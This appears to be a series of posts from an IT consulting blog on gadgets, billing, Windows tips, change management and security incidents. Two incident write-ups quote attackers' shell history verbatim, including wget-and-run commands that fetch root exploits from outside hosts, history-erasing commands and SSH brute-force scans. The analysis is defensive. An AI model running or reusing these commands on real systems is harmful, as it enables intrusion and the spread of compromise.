I was cleaning out some drawers and ran into my US Robotics Palm Pilot.  Yes, that’s right a US Robotics Palm Pilot. It was before it was 3COM and before it was eventually spun out as Palm.  It was , at the time, a pretty impressive device, with the stylus you could write on it, take notes and try to organize your life. It came with a stylus and a cradle that attached to a serial port to sync it to the computer.  Having just read Steve Jobs biography and reading how he hated the stylus and thought there should be something better, I agree, but at the time it was pretty advanced.   I do remember trying to take notes in a meeting or make it my single source, and it never really worked out. Third party companies made docks that had portable keyboards that folded up, but those had their issues as well.

Having and EE background, I usually like to take these things apart before I dispose of them, so we can dissect it and look at some of the cool engineering involved.  The inside basically contains 3 key components.   The Processor board with the  Motorola DragonBall CPU, the memory module, which was a type of DRAM, which would lose it’s brains when the battery died and the display and pen control.   Looking at the motherboard, it was mostly analog components (on the back are resistors, capacitors and a few discrete components. The front had the CPU, some controls, and the power control (along with a big gap for the two AA batteries). The Memory was in a ZIF socket.  The Display unit had the secret sauce because it had an area for display as well as for capturing the Stylus input.

Another interesting design element is the buttons and how they pressed on the micro switches on the motherboard. The buttons are all designed to fit over the rubber mold that then pressed down on the switches.  As I took this part, I felt that it was solid engineering  both in an electrical and mechanical engineering sense and it brought back quite a few memories about where I was working in Palo Alto at the time  for an AI software company.

Before I took this apart, I did look at E-Bay to make sure it was not worth a lot of money as a collector’s item. It turns out that people do sell them, and I found one on E-Bay for $1.35, which is no where near the $199 I think I paid for it back in the 90′s .   I have found that my iphone has been perhaps one of the best designed devices I have owned, however, the Palm Pilot reminds me of all the engineers and ideas that came before it that paved the way for the device I have today.

Our company monitors and manages high traffic web sites for our customers.  It also involves using performance and log data to determine what is being accessed, by whom and perhaps why.  We try to help our customers determine what is legitimate traffic, if it drives revenue or is it the basis of some type of attack.  There are layers of devices from firewalls, IDS , load balancers and application level filters that can be and are fine tuned to make sure that legitimate traffic is let through and that the back end servers can successfully deliver the desired content.

As a basis, we look at where traffic comes from, what content they are viewing, byte counts and their user agent.  For those who aren’t familiar with User Agents, they are programs that work on behalf of the user. For web browsing, it generally helps define what browser you are coming from, so that the web site, can perhaps determine how to properly render the page.  One example would be to know if you are coming from a computer or a mobile phone so that it can properly present the site and if required give you a bandwidth reduced image on the phone so that it comes up quicker.

For the context of this discussion, the other user agents that people may care about are bots. Some bots are bad and are the basis of Distributed DDOS attacks, while others are useful to make sure that people know your site is out there. Google, Yahoo and Microsoft are all making big money by indexing all of the content of the world, and using proprietary algorithms to determine how popular or useful a site is (how many people link to it).   Because they want people to know they are legitimate, they usually define their user agents well, and make sure their IPs have proper DNS names so you know where they come from.  They even name their search servers names like “rate-limited-proxy-72-14-199-243.google.com” so you know they are trying to be considerate when crawling your site.

Examples of typical useful clients you may see crawling your site:

Examples of user agents you may find crawling your site:

So what does this have to do with Amazon?

Today we got an alert that there was significant traffic on a few of the sites.   Initially it looked like a DDOS attack, but what I haven’t seen before was that they all came from <nodename>.compute-1.amazonaws.com , 90 different ones and they all had the user agent “EC2LinkFinder”.  10-30 Hits per client/minute.   Now, it still looks like a DDOS attack and that’s how we treated it. Notice that the user agent isn’t nice like the others, where it reports it comes from Yahoo and it has a URL to learn more.  This “EC2LinkFinder” was crawling the site (in parallel) and wasn’t behaving nice, so it’s not allowed to play with us anymore.  (see below).

What if, however,  this is really Amazon , working out their early general web search engine, using their own significant AWS infrastructure and storing the results in their S3 storage?  Perhaps they haven’t fine tuned their schedules and search jobs to be site friendly and haven’t made their user agent name friendly because they haven’t publicly announced they are doing it yet.  Amazon instances get hacked all the time, so if it hadn’t had the “Ec2LinkFinder” user agent, I might not have wandered down this thought path.   It is well known that Google , Amazon and Facebook are all competing for our eyes and dollars. I wouldn’t be surprised to find that Amazon will soon be in the search business and that this agent is part of it.

If you’re looking to improve your business’ cash position, influence clients to pay in a timely fashion, and get your receivables faster, here are some ideas:

Bill Clients Promptly
You won’t get paid till you bill so bill promptly. The faster your clients know what’s due, the faster they can pay you. Using a regular billing schedule and/or billing soon after delivery starts the receiving process and allows the bill to arrive while the work product delivered is still prominent in your clients’ minds.

Offer Prepayment Discounts
If clients opt to prepay for a specific amount of work/time, they get a smaller bill in exchange for their prompt, advance payment. Prepayment discounts help lower clients’ costs while improving your cash flow.

Follow Up on Submitted Invoices
While this technique is not extraordinary, you would be surprised how many invoices go unpaid or are paid late because they were “lost in transit”. Time your invoice follow-up so that it occurs just after receivables are due. Once you have determined which invoices are outstanding, call or email your billing contact for a payment date for the outstanding item(s). You might find that payment has been made but hasn’t gotten to you yet; the items in question were “lost in transit”, or your client has a future payment date and reason for late payment. No matter what you find during follow-up, if done consistently, you will gather valuable information about payment patterns, clients’ internal processes, etc.

Continue to follow up on outstanding items until they are paid. Your follow-up will keep you informed of the status of your receivables and encourage your clients to pay as promised.

Lets start out with the statement “Solid State Drives Rock!” Yes my Lenovo with a solid state drive, and Windows7  is the ultimate productive tool for me.  I am very prudent about what I put on my laptop, however, sometimes I cannot help how much “cruft” I suddenly have on the disk. If you have read any of my past blogs, you know I don’t like to pay the extra premium for state of the art, and go for the sweet spot of price/performance. Putting this all together, I didn’t spring for the 250GB ueber expensive SSD drive and my 150Gb SSD drive, despite my best intentions gets filled up.  One of the reasons is that as a policy, we encrypt all of our work related data, so I have a 45 GB TrueCrypt Volume on it and do not encrypt the who disk for reason’s stated in Jeff’s blog posting.  The remaining 100Gb has Windows, my apps and it turns out , music and significant space that holds my iphone backups that happen automagically.

Fill Baby Fill

Suddenly, my disk is getting full and and that is not good, esp for solid state drives.  In Linux/UNIX, there is the very useful and easy concept of symbolic link, and hard links, where you can move files and folders and then link to them to make them appear as they are there, but perhaps on a different disk.  Windows has shortcuts, but that is not the same thing.

I have another secondary, less important disk that is in my computer that sits inside a Faux CD caddie and it is large and slower , perhaps not that slow as it was the original Lenovo disk, but it is not a solid state disk.  It is my I: drive.  I keep downloads there, temp files and my music , as that doesn’t have to be fast.  Itunes will let you put a library of music there, but they don’t let you determine where it backs up the iphone and other thing that easily can take up 15GB.

It turns out that NTFS has a symbolic link, and they call it a “junction”, and it can be downloaded from Microsoft here.

http://technet.microsoft.com/en-us/sysinternals/bb896768.aspx

In my case, to relocate my MobileSync library to my secondary disk I did the following:
Download the “junction.exe” file from the link above and place on

For example, let’s say you want your iPhone backup to be I:\backup\MobileSync folder. You would do this:

1. close iTunes
2. Move the folder content c:\users\<username>\application data\apple computer\mobile sync\backup to I:\backup\MobileSync
3. Open a command prompt (CMD) and enter these commands:

(FOR WINDOWS VISTA / 7)
I:\>junction “C:\Users\<username>\AppData\Roaming\Apple Computer\MobileSync\Backup” “I:\backup\MobileSync” -s

NOTE 1: Change “<username>” to match your current username.

NOTE 2: You can change the target I:\ for any other drive you have, like a external drive.

In my case, I now have 15GB more on my SSD drive and my important, but not critical to be on C: MobileSync folder is now on another disk.  This is a good tool to keep in your toolkit and relocate data when you need more space.

In my previous post Analysis of a Hack, I described a few different security issues that we discovered that were interesting and ides for best practices.  The process of doing forensic analysis of a hack sometimes means replicating the steps, software and process that the hacker used to determine what level of success that they had.   We support systems of all types and the industry norm is that people do not trust Microsoft operating systems to be secure or prefer Linux, especially when the servers are exposed to the Internet. I don’t necessarily share this point of view and the security of any system really depends on how well it is managed.

A number of years ago, I put my first Exchange Server in and the design was to have a front end OWA/SMTP relay and a back end MS Exchange server.  During the design, I was initially hesitant to use a Microsoft OWA/IIS front end, and was considering using a linux based HTTP/SMTP proxy.   After doing some research, I stuck with the Microsoft solution.  During the course of that deployment, I analyzed and paid particular to the IIS logs, firewall logs etc to see what happened.  In that configuration only https and SMTP were exposed from the Internet.   The thing that surprised me was all of the hack/script kiddie attack attempts were all for php and Linux vulnerabilities and not for IIS or Microsoft vulnerabilities.  We kept the servers patched, protected from viruses and we never had an issue.   This brings me to the current analysis, where all of the security vulnerabilities attempted were for legitimate operating systems vulnerabilities with the Linux kernel or exploits with Linux services. Had they succeeded, they would have had full root privileges on the server.   So on to the analysis.

What the Hacker tried to do:

In order to analyze this , I created a new VM and then took apart the scripts and binaries to try and figure out what they were trying to do.

Looking at the logs  from the previous attack.

Attempt 1:  Redhat Sendpage Vulnerability

wget http://www.kidu.go.ro/r00t.tar ;

tar xvf r00t.tar ;

chmod +x * ; ./r00t ; ls

rm -rf *

ls

cd .ssh

cat k*

ls -al

The r00t.tar consists of

linux-sendpage

This is the meat of the process.  It is a linux ELF binary , so I had to try to run it with a trace and look at is using strings and strace to figure out what it tries to do.   My best estimate is that it tries to write into the memory map (overwrite a buffer) to run /bin/sh as root.  If this works, then the hacker runs port and other utilities to set up more permanent connections as a privileged user.   linux_sendpage refers to trying to manipulate a page in the systems memory.

  port

this is a shell script that copies the sshd_config over to /etc/ssh and restarts the ssh daemon

r00t

A shell script, with fancy colors that runs ./linux-sendpage and reports success or failure

sshd_config

a new sshd_config file that allows root and listens on port 7000

Since my attacker did not try to run port, and the sshd_config remained unchanged, then it is most likely safe to assume that this did not work for them. They also just deleted the code since it didn’t work.

More details: http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c

* This exploit makes use of the SELinux and the mmap_min_addr problem to
* exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3.
* The problem, first noticed by Brad Spengler, was described by Red Hat in
* Red Hat Knowledgebase article: Security-Enhance d Linux (SELinux) policy and
* the mmap_min_addr protection[2].

Reports from users who have been hit with this , see the following in their logs

Jul 26 09:52:56 server01 kernel: Pid: 29267, comm: linux-sendpage Tainted: P D (2.6.25.9-grsec #1)

Jul 26 09:52:56 server01 kernel: Process linux-sendpage (pid: 29267, ti=f26a6000 task=c85f1700 task.ti=f26a6000)

Attempt 2: Nelson

wget www.tux-planet.fr/public/hack/exploits/kernel/nelson.c ; gcc -o nelson nelson.c ; ./nelson

This exploit leverages three vulnerabilities to get root, all of which were  discovered by Nelson Elhage:

Luckily this is C code, and the exploits take advantage of code vulnerabilities in the kernel. This code was actually created to show the vulnerability in the kernels with intentional roadblocks to prevent script kiddies from doing what this person just tried. With a little more knowledge it could have been enhanced to perhaps succeed.

When run (on a system w/out vulnerabilities) it produces

[*] Failed to open file descriptors.

Attempt 3: Dude and others (another Redhat/CentOS 5 vulnerability)

wget http://www.drugs.altervista.org/1.tgz ; tar zxvf 1.tgz ; rm -rf 1.tgz ; cd ivr ; chmod +x * ; ./dude.sh ; ./max.sh ; ./pwn.sh ; ./linux ; ./new ; ./2010

The Files in this tar ball are below

“01  10  2010  ABftw  dude.sh  exploit.conf  linux  max.sh  new  pwn.sh  sloboz10  sux  xcron1.tar.gz”

dude.sh  – this is a shell script. The details of what it tries to do is here http://seclists.org/fulldisclosure/2010/Oct/257

It tries to get root access by taking advantage of a vulnerability in the $ORIGIN sequence in dynamic linking.

max.sh – this tries to take advantage of a vulnerability in crontab.  It checks , then if successful, it tries to manipulate  time  to grant elevated privileges. It may allow you to put your own crontab in root, which could be any script that makes an account with UID 0 or group wheel or any easy way to get root.

pwn.sh  – lame sploit using LD technique  – this sh script actually compiles the program in the script using  info from /proc/net/netlink then tries to elevate privs.

linux – this binary looks similar to linux-sendpage from the earlier attempt

new- binary that uses Linux vmsplice – it also tries to exploit a memory map vulnerability

2010 – appears to try to manipulate the actual /boot/System.map

Summary:

Looking at the vulnerabilities that were attempted to be exploited, it is very clear that keeping your Linux Servers patched is not only prudent and best practices but absolutely necessary.  Just because they are not internet facing does not mean they are protected. The numerous vulnerabilities in unpatched windows machines provided back door tunnels to remote servers, that hackers could then use to push the same code mentioned above to the Linux servers. If you have very sensitive data (ie, Government Secrets, or the formula to Coke), one vulnerability can be exploited to take advantage of another and shortly after , “everyone is making Coca Cola”.

As IT consultants we get asked to help with network and computer related security issues.  It is rare (but refreshing) that we get asked to evaluate the current state of security and help them discover vulnerabilities before the bad guys do.    Over the past few months, we have investigated a few compromises that were interesting.In one case, the hacker wanted notoriety, and the other case , they wanted to compromise more targets.

Scenario one:  Owned by Skywalker

User is running a web business utilizing a well known hosting company. Their website is interactive and utilizes a few PHP based Content Management Systems (CMS), drupal and WordPress.  Their site change from an elegant site to the below. The below screenshot does not capture the true effort of the hacker named Sky-walker.  It was full of animated gifs and text moving in and out. It was attention grabbing.

Hacked by Sky-Walker

The web hosting site had good security measures in place.  The access to this site was through FTP and the PHP code for WordPress.  The WordPress software had not been updated in 4 years, nor was any security vulnerability testing done on any of the PHP code.   The site was done well by an outside company and after that this person could effectively use the dynamic publishing function to run their business, so there was, at the time,  no reason to change the code.

The site was recovered, code updated  and passwords locked down. Analysis of the logs helped discover the vulnerability. The takeaway from the hack of this site.

1. Use good Passwords (esp for unencrypted protocols like ftp).
2. Avoid FTP (and other unencrypted protocols)  if you can. If your provider supports sftp or anything encrypted to transfer files, use it.
3. Keep your code up to date. CMS code is no different than updating your computer. Since much of it may be open source and PHP based, alot of hackers can find vulnerabilities, so close the holes before they find them.
4. Backup early and often.  Having good backups of your website files and database is very important. If it is hosted, there are ways to automate this and keep the files in an alternate location.

Scenario two: Even The Romanians like the Simpsons

In the next instance, the site was going to go live, but was not there yet. The person was building it on an Amazon EC2 instance.  Amazon reported that they were seeing port scans from this host to other hosts. Logging on to the host a preliminary analysis using netstat ,lsof  did not show anything anomalous. Installing and running root kit analysis programs was also not that fruitful. The host based firewall was configured to only allow specific ports (for the service being delivered), but also included ssh.

The log files, however gave a clue

/var/log/messages: host kernel: [2985475.292985] scanssh[25512]: segfault at 9332000 ip 080487f9 sp bfdd8a00 error 6 in scanssh[8048000+cc000] 

Spending time analyzing the system, I found a hidden directory.

/var/tmp/…/gosh

This was a great find, those of you who don’t know UNIX/LINUX. The “.” files are hidden files and the “.” directory means, the current directory, the “..” directory indicates the parent directory and the “…” or “….” directories do not mean anything, they just don’t catch your eye when you look at the directory.

What was in the directory?  Well the hacker’s tools of course?

drwxr-xr-x 2 usr usr 4096 Dec 4 10:19 ./
drwxr-xr-x 3 usr usr 4096 Dec 3 18:30 ../
-rwxr-xr-x 1 usr usr 14 Nov 29 2010 1*
-rwxr-xr-x 1 usr usr 15 Nov 29 2010 2*
-rwxr-xr-x 1 usr usr 16 Nov 29 2010 3*
-rwxr-xr-x 1 usr usr 12 Nov 29 2010 4*
-rwxr-xr-x 1 usr usr 11 Nov 29 2010 5*
-rwxr-xr-x 1 usr usr 1287 Feb 10 2009 a*
-rwxr-xr-x 1 usr usr 22354 Dec 1 2004 common*
-rwxr-xr-x 1 usr usr 265 Nov 24 2004 gen-pass.sh*
-rwxr-xr-x 1 usr usr 94 Jul 26 2008 go.sh*
-rw-r--r-- 1 usr usr 1588217 Dec 4 10:18 mfu.txt
-rw-r--r-- 1 usr usr 25507 Nov 30 16:03 pass_file
-rwxr-xr-x 1 usr usr 21407 Jul 21 2004 pscan2*
-rwxr-xr-x 1 usr usr 4822 Nov 25 2010 scam*
-rwxr-xr-x 1 usr usr 302240 Nov 25 2010 screen*
-rw-r--r-- 1 usr usr 1320850 Dec 4 11:36 screenlog.0
-rwxr-xr-x 1 usr usr 197 Aug 23 2005 secure*
-rwxr-xr-x 1 usr usr 453972 Jul 12 2004 ss*
-rwxr-xr-x 1 usr usr 842736 Nov 24 2004 ssh-scan*
-rw-r--r-- 1 usr usr 83 Dec 3 21:53 vuln.txt

What did they do?

Well, they were not that sophisticated, and I edited out their typos which will be included below.  Essentially they did the following:

• Download and compile some tools to the compromised host in the hidden directory.
• Stage one was to try to get into root, elevate privileges and compromise host
• Second stage was to compile scan tools to try and and find other hosts to compromise
• Port scan and ran brute force password trials on other hosts in their attack lists.
• Lather , rinse, repeat

A Deeper Look:

Download tools to try and elevate privileges (ie , get root).  They downloaded some tools from 4-5 places where they had things stashed away, compiled them, ran the tools and when they didn’t work, removed them.  We were able to download and try the same tools , which let us verify that they didn’t work on our particular host.

     6  18:28   uname -a
     7  18:29   cd /tmp ; mkdir ... ; cd ...
     8  18:29   wget www.tux-planet.fr/public/hack/exploits/kernel/nelson.c ; gcc -o nelson nelson.c ; ./nelson
     9  18:29   unset HISTFILE HISTSAVE HISTZONE HISTLOG HISTORY WATCH
    10  18:29   wget http://www.drugs.altervista.org/1.tgz ; tar zxvf 1.tgz ; rm -rf 1.tgz ; cd ivr ; chmod +x * ; ./dude.sh ; ./max.sh ; ./pwn.sh ; ./linux ; ./new ; ./2010
    11  18:29   wget http://www.kidu.go.ro/x86.sh ; chmod +x x86.sh ; ./x86.sh
    12  18:29   wget http://drugs.altervista.org/a.x ; chmod +x a.x ; ./a.x ; rm -rf a.x ; cd /tmp ; rm -rf ...
    13  18:30   cd ~
    15  18:30   wget http://www.kidu.go.ro/r00t.tar ; tar xvf r00t.tar ; chmod +x * ; ./r00t
    16  18:30   ls
    17  18:30   rm -rf *

This next attempt was interesting to me. They hide tools in a file called g.jpg (again, to alleviate suspicion ).  Untar /gunzip the jpg and then start to use the tools to scan other hosts.

    31  18:30   cd /var/tmp ; mkdir ... ; cd ... ; wget claubv.99k.org/g.jpg ; tar zxvf g.jpg ; rm -rf g.jpg ; cd gosh ; chmod +x * ; wget claudinbv.altervista.org/pass_file12 ; mv pass_file12 pass_file
    32  18:30   screen -L
    33  18:30   wget claudinbv.altervista.org/tari1
    34  18:30   mv tari1 mfu.txt
    35  18:30   ./ssh-scan 300
    36  18:40   cat screenlog.0 | grep rins
    37  18:40   screen -r

36  18:40   cat screenlog.0 | grep rins
    37  18:40   screen -r
    38  18:40   screen -r
    39  19:45   ls
    40  19:45   cat mfu.txt
    41  19:45   wget claudinbv.altervista.org/tari1
    42  19:45   cat tari1
    43  19:46   rm -rf tari1
    44  19:46   screen -r
    45  21:16   exit
    46  0:55    w
    47  6:56    unset HISTFILE HISTSAVE HISTZONE HISTLOG HISTORY WATCH
    48  6:56    cd /var/tmp/.../gosh
    49  6:56    screen -r
    50  6:56    cat screenlog.0 | grep rins
    51  6:56    screen -r
    52  6:58    wget claudinbv.altervista.org/sloboz2 ; rm -rf mfu.txt ; mv sloboz2 mfu.txt ; ./ssh-scan 300
    53  7:00    screen -r
    54  7:07    ls
    55  7:07    cat mfu.txt
    56  7:08    wc -l mfu.txt
    57  7:08    ./ssh-scan 100
    58  7:32    ls
    59  7:32    rm -rf mfu.txt
    60  7:32    wget claudinbv.altervista.org/sloboz3 ; rm -rf mfu.txt ; mv sloboz3 mfu.txt ; ./ssh-scan 300
    61  8:02    nc 0l 1111
    62  8:02    nc -l 1111
    63  8:46    wget claudinbv.altervista.org/sloboz3 ; rm -rf mfu.txt ; mv sloboz3 mfu.txt ; ./ssh-scan 100
    64  9:26    cat mfu.txt
    65  9:26    ls
    66  9:29    wget claudinbv.altervista.org/sloboz4 ; rm -rf mfu.txt ; mv sloboz4 mfu.txt ; ./ssh-scan 100
    67  9:30    screen -r
    68  10:08   ls
    69  10:08   rm -rf mfu.txt
    70  10:19   wget claudinbv.altervista.org/65 ; mv 65 mfu.txt ; ./ssh-scan 300
    71  11:36   ls
    72  11:36   exit
    73  11:36   cd ..
    74  11:36   cd ..
    75  11:36   rm -rf gosh
    76  11:36   exit
    77  21:14   unset HISTFILE HISTSAVE HISTZONE HISTLOG HISTORY WATCH
    78  21:14   cd /var/tmp ; wget claudinbv.altervista.org/s.tgz ; tar zxvf s.tgz ; rm -rf s.tgz ; cd .s ; chmod +x *
    79  21:14   screen

**Note: the nn.nn's were changed to protect the IP's of those being scanned for this article.
    80  21:14   ./x nn.nn
    81  21:18   ./x nnn.nnn
    82  21:24   ./x nn.nn
    83  21:30   cd ..
    84  21:30   rm -rf .s
    85  21:30   cd /var/tmp ; wget claudinbv.altervista.org/s.tgz ; tar zxvf s.tgz ; rm -rf s.tgz ; cd .s ; chmod +x *
    86  21:30   ./x nn.nnn
    87  21:31   ./x nnn.nn
    88  21:46   ./x nn.nn

 89  21:53   exit
    90  21:53   cd ..
    91  21:53   rm -rf .s
    92  21:53   exit

They ran the scans, perhaps copied the results and went to the next host.

Post Analysis

Since the compromise was discovered, and the attacker did not get root, they could not cover up or delete the logs. Even the attempt to unset HISTFILE did not remove the history file.  Looking at the log file, it was clear that the 10′s of thousands of attempts on ssh login was able to exploit a weak password.  Firewalls, encrypted protocols and locked down files and permissions were all thwarted by a weak password and brute force trying of passwords to ssh.

So what does this all have to do with the Simpsons?

There were two interesting expressions buried in some of the log files and code we reviewed.

Toata dragostea mea pentru diavola!!!!!!   – Interestingly enough, this  is Romanian. It means approximately “All my love is for the devil”. …

The other nugget was in a piece of code that was found. I found a rough translation for most of it, which didn’t make much sense.  The last word…. Pure Homer Simpson.

echo # Ciudat ..Nu Ai Urmat Instructiunile  #
echo # trebui dat mv assh a sau mv scan a   #
echo # orice ai avea tu ... dohh ..

Needless to say, the site was secured, locked down and measures put on the site so that it wouldn’t happen again.   Getting this kind of data about what they did is not always available, and worth sharing.

“Dohh”

Back in 2007, I wrote about  The Value of Change Management  as it relates to managing IT systems. Now, four years later,  I still believe it is one of the most important processes for any IT team, yet one of the most poorly executed.  As an IT  consulting company, we are often brought in when companies are having reliability issues, or for one reason or another their IT has spiraled out of their control and they need help and fast.  We label this our “Chaos to Clarity” service.  It doesn’t have to be chaos, but it may just be that the customer spends more time putting out fires than moving the business forward or it has become overly complex and unsupportable within the allocated budget.

Networks, applications and core infrastructure can be fun to design and we have seen very nice diagrams of the way it was set up and perhaps even support documents of how to manage the system or application.  Most of the time, though, the documents are out of date, numerous changes were made and the person who made the changes is no longer around and the people around them do not recall why or how things were changed.   Even after demystifying the environment and creating operational procedures for companies, we suddenly realize that the service or database was moved, and the operational procedures, monitoring and documents were never changed.   This may happen because of overworked IT staff , or perhaps that implementing technology is much more fun than updating documents, but we consistently find that this one function is not done well and if it was done well, it would save them alot of time in the future.

CMDB, the Change Management DataBase was designed to help manage this process.  It captures information about changes, incidents, availability, capacity and supports the ITIL operational model.  If done well, it also helps automate and detect changes that happen and perhaps alert someone that a change has occurred so that processes can be updated.

There are many articles out there, however that write about how difficult it is to implement the commercial CMDB systems and many large corporations sometimes abandon it after they have spent alot of time and money on it. The Open source options can be just as difficult as it requires gluing lots of applications together and it is difficult to get that “single pane of glass” view for the state of the system or network.

Regardless of product, change management is a process and at it’s core, it doesn’t have to be difficult, it just needs to be done consistently.

Verizon is now on strike and although I have paid attention to various strikes, NFL lockout, NBA Players or the UAW,this one has an impact on me, my customers and for some reason has really gotten under my skin. I will say that I am not fully educated on both sides of the strike. I read what Verizon says on their website http://newscenter.verizon.com/2011-bargaining/ or an article from another site http://www.golocalprov.com/business/new-verizon-strike-nears-two-week-mark/. This basically says , Verizon is trying to cut costs, ask people to contribute to their benefits and try to remain competitive and the union is saying, WTF, the CEO makes more than 1000 times the average employee and Verizon paid 10 Billion to shareholders this year.

I am not going to argue that CEO pay for big companies is not out of whack, it is. If shareholders got paid, then I would suggest that those dedicated workers of Verizon invest in their own company, buy some stock and “get paid too”. As a business owner, I find that health care costs are going up and we are constantly working to try an provide the best health care for the best prices for our employees. One of the above articles says that most Verizon Union members pay nothing for their health care premiums. I haven’t been at a company in 15 years that has provided 100% premiums, actually ever, but I say 15 years, because I cannot be certain. This, however, doesn’t bother me that much, because what really bothers me is the following:

Customer A

One of my customers, Customer A, had been planning to move to a brand new location, and we worked with them to migrate their IT infrastructure and services to the new location. We had redundant Internet connections, but the phone service along with a fail-over DSL line was coming from Verizon. The week of the move, Verizon emails and says, “Sorry, we cannot help you due to the strike”. It doesn’t matter that the lease is up, and the phone numbers are linked to Verizon. It also doesn’t matter that the disconnect order is automated, and the reconnect order is a manual “union labor position” operation. So, they automatically disconnected the service and left their customer without ANY phone service.

What those passionately striking people do not realize is that this is the type of thing that spurns innovation and migration away from them so that Verizon services along with their jobs will soon not be needed. In the interim, we gave our customer a few of our IP phones, connected them to our VoIP/SIP server and service and gave them phone service over the primary non Verizon Internet connection. The CEO loved our flexibility and is so enamored with the service and Idea that we are working to perhaps migrate them fully to VoIP service.

Do you hear that Verizon workers? If you give bad service and do not offer a good value for the price, people will find a way to use someone else.

Customer B

Customer B is a much larger company and they use the Verizon Data Center in Billerica, MA by utilizing two 100MB Pipes and 10 racks for servers along with managed firewall and IDS/IPS services. I do not know what they pay, but based on simple math of $1000/rack/month *10 plus Internet & Managed services, I would guess that is somewhere around $250k/year of regular revenue from that one customer.

We go to the data center weekly to just walk through, swap bad power supplies, disks or whatever needs to be done. The Verizon strikers, those crafty guys are picketing in front of the security gate at this site. They walk in front of my car a few times, the cops direct me to wait for a bit, then go. While I was waiting, I attempted to take a picture with my cell phone, which unfortunately got blurred, then one of the strikers flipped me the bird and said “take a picture of that”. I have to roll down my window to give my credentials to the security team over a microphone to open the gate. The stikers are looking at me and I am nodding at them, and one striker is yelling at me saying “don’t nod at me you scab” and then gives me the bird again.

OK, that was interesting, the Verizon strikers are now insulting their customers. Doing a Google search, I quickly found 18 data centers in the Boston area Data Center Map . Again, without knowing the full issues that are going on about the strike, do the strikers really want this customer to take their $250K/yr and give it to Savvis, NEDS, XO or somewhere else?

This is bad business for Verizon and to be honest, as an IT consulting company who is paid to provide sound advice to their customers, I am not sure that recommending Verizon would be sound advice.

Being a consultant and working for many organizations, we get exposed to a number of environments and quite a bit of sensitive data.  While we are careful not to keep a lot of client data on our laptops (most of which is located in our datacenter or left on the client network), the security of the data that does reside on our laptops is paramount.  In the past, we have been reliant on whole disk  encryption from Truecrypt (an open source industry standard encryption tool) .

In whole disk encryption,  the entire hard drive including the data, the program files, the applications and even the free space is encrypted and a password is required during the boot process to unlock the drive and to decrypt each block as it is required.  As you can imagine, this results in a significant performance degradation as the system needs to decrypt each block before it’s used and encrypt each block before it’s written.  In many ways, this process is relatively secure in that the hard drive couldn’t be taken out of the computer and read in another one.  Unfortunately, it also meant that you could not use many of the recovery tools for when the operating system had issues or corruption, nor could you use a program like Acronis or Ghost for disk imaging without copying each sector of the disk (making images very large and removing the efficiencies of dedupe and compression).  The advantages, of course, was that we didn’t need to think about where sensitive data was stored or whether it was in an encrypted area.  Everything was encrypted, so it was a safe and easy way of both being secure and not having to think about it.

Enter solid state drive (SSD) hard drives.  A solid state drive is significantly faster than a traditional platter based hard drive for reading data.  It has no moving parts, it’s significantly quieter and it uses less power.   Sounds perfect for a laptop, right?  Yes, but it comes with it’s challenges too.  For one, it runs significantly more expensive  than a comparable traditional drive and they  come in much smaller capacities.  Second, while write speeds are on par with or slightly less than traditional drives, the number of writes you can make to the disk is limited.  Testing has shown the average lifespan of a SSD to be 3-5 years because in essence you wear out sectors on the drive and that data needs to be moved to a sector that doesn’t have as much wear.

The Dilemna.  Given the difference in how solid state drives operate from traditional drives, you can probably see that whole disk encryption is no longer the best option.  First, solid state drives run optimally when you leave a number of sectors free so that data can be reassigned when a sector is used too many times.  Whole disk encryption uses every sector (it encrypts free space as well) and often changes a number of sectors on different places all over the disk so that it makes reassembling the data more difficult as well as identifying the data.  Second, whole disk encryption increases the number of writes on the disk and with the limited writes of a solid state drive , you could in fact reach the end of life on the solid state drive much sooner.

The Solution.  Utilize a second drive that can be encrypted or create a virtual encrypted drive as a file inside the solid state drive.  Obviously the first option is a better solution because it allows you to use a traditional drive for the data that changes the most, but the second option also provides advantages over whole disk encryption.  In both scenarios, you get performance increases and the benefit of using native tools to deal with backup, imaging and recovery tools.  You also get the benefit of properly managing free space on your solid state drive and potentially less write operations.  So how do you make sure that you have all your important client data backed up?  With Microsoft Windows 7, you can redirect almost every area of the user profile such as the Desktop, Documents, Music, Videos, etc as well as Microsoft Outlook cache files and other transient data so that you can be sure that client data is encrypted.  The trick is to do the work of determining where all the sensitive data resides, not just the data, but any cache and temporary files that could have value if the laptop were lost or stolen.  Of course, moving the data to another drive is no substitute for having a good backup process.  In fact, anytime you are using encryption, your backups become even more important.

msiexec.exe - This is one of those applications that you may see running when you install software and is an important file. It is typically found in C:\Windows\system32 directory. But what about msiexecs.exe ? Well, I discovered this when someone I know needed help with their PC because they “Couldn’t get to the Internet”. Before I describe what is is, I wanted to mention that it didn’t look right to me, but to the casual untrained user, it looks very similar to msiexec.exe and if you google msiexecs, you might even get references to the real one. This is on purpose, to fool the user. Now in this case Windows 7 was smart enough to realize that when they tried to launch a browser and instead it was launching msiexec.exe -sb first, and the application was not a signed and valid app, it warned them. Did that keep them from moving forward? “Heck no, just click through it?”

It turns out that this is a pretty bad piece of malware. What is surprising to me was that their antivirus was up to date and a scan did not discover it. MalwareBytes, one of my favorite antimalware programs also did not catch it.

What happens is that they got this program c:\windows\system32\msiexecs.exe installed as a malware and then there were bogus Registry entries put in
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Browser/Debugger

Under Browser,they had every known browser (Internet explorer, firefox, opera, chrome) with one entry in the registry for each.

If you removed the file, the browser still didn’t work,because it could not find the file referenced in the registry. If you did let it through, it most likely grabbed your information, opened a door to another host and shared your information with the world.

It turns out that deleting the file AND removing each of the registry entries fixed the issue, but it was done by hand and not by any leading antivirus/anti-malware program.

Beware of things that look similar to something normal and be safe and wise, don’t click through things that Microsoft and security programs are trying to warn and protect you.